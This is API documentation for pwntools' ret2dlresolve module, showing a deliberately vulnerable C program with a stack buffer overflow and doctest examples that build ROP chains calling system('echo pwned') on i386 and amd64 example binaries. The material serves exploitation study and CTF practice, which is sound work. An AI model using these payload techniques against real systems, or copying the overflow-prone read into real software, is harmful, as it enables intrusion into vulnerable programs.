pwnlib.rop.ret2dlresolve — Return to dl_resolve

Provides automatic payload generation for exploiting buffer overflows using ret2dlresolve.

We use the following example program:

```
#include <unistd.h>
void vuln(void){
    char buf[64];
    read(STDIN_FILENO, buf, 200);
}
int main(int argc, char** argv){
    vuln();
}
```

We can automate the process of exploitation with these some example binaries.

```
>>> context.binary = elf =
ELF(pwnlib.data.elf.ret2dlresolve.get('i386'))
>>> rop = ROP(context.binary)
>>> dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["echo
pwned"])
>>> rop.read(0, dlresolve.data_addr) # do not forget this step, but use
whatever function you like
>>> rop.ret2dlresolve(dlresolve)
>>> raw_rop = rop.chain()
>>> print(rop.dump())
0x0000:        0x80482e0 read(0, 0x804ae00)
0x0004:        0x80484ea <adjust @0x10> pop edi; pop ebp; ret
0x0008:              0x0 arg0
0x000c:        0x804ae00 arg1
0x0010:        0x80482d0 [plt_init] system(0x804ae24)
0x0014:           0x2b84 [dlresolve index]
0x0018:          b'gaaa' <return address>
0x001c:        0x804ae24 arg0
>>> p = elf.process()
>>> p.sendline(fit({64+context.bytes*3: raw_rop, 200:
dlresolve.payload}))
>>> p.recvline()
b'pwned\n'
```

You can also use `Ret2dlresolve` on AMD64:

```
>>> context.binary = elf =
ELF(pwnlib.data.elf.ret2dlresolve.get('amd64'))
>>> rop = ROP(elf)
>>> dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["echo
pwned"])
>>> rop.read(0, dlresolve.data_addr) # do not forget this step, but use
whatever function you like
>>> rop.ret2dlresolve(dlresolve)
>>> raw_rop = rop.chain()
>>> print(rop.dump())
0x0000:         0x400593 pop rdi; ret
0x0008:              0x0 [arg0] rdi = 0
0x0010:         0x400591 pop rsi; pop r15; ret
0x0018:         0x601e00 [arg1] rsi = 6299136
0x0020:      b'iaaajaaa' <pad r15>
0x0028:         0x4003f0 read
0x0030:         0x400593 pop rdi; ret
0x0038:         0x601e48 [arg0] rdi = 6299208
0x0040:         0x4003e0 [plt_init] system
0x0048:          0x15670 [dlresolve index]
>>> p = elf.process()
>>> p.sendline(fit({64+context.bytes: raw_rop, 200: dlresolve.payload}))
>>> if dlresolve.unreliable:
...     p.poll(True) == -signal.SIGSEGV
... else:
...     p.recvline() == b'pwned\n'
True
```

class **pwnlib.rop.ret2dlresolve.Ret2dlresolvePayload**(*elf, symbol, args, data_addr=None*) [source]

Create a ret2dlresolve payload

Parameters:

- **elf** (*ELF*) – Binary to search
- **symbol** (*str*) – Function to search for
- **args** (*list*) – List of arguments to pass to the function

Returns: A `Ret2dlresolvePayload` object which can be passed to `rop.ret2dlresolve`

__init__(*elf, symbol, args, data_addr=None*) [source]

x.__init__(...) initializes x; see help(type(x)) for signature

__weakref__ [source]

list of weak references to the object (if defined)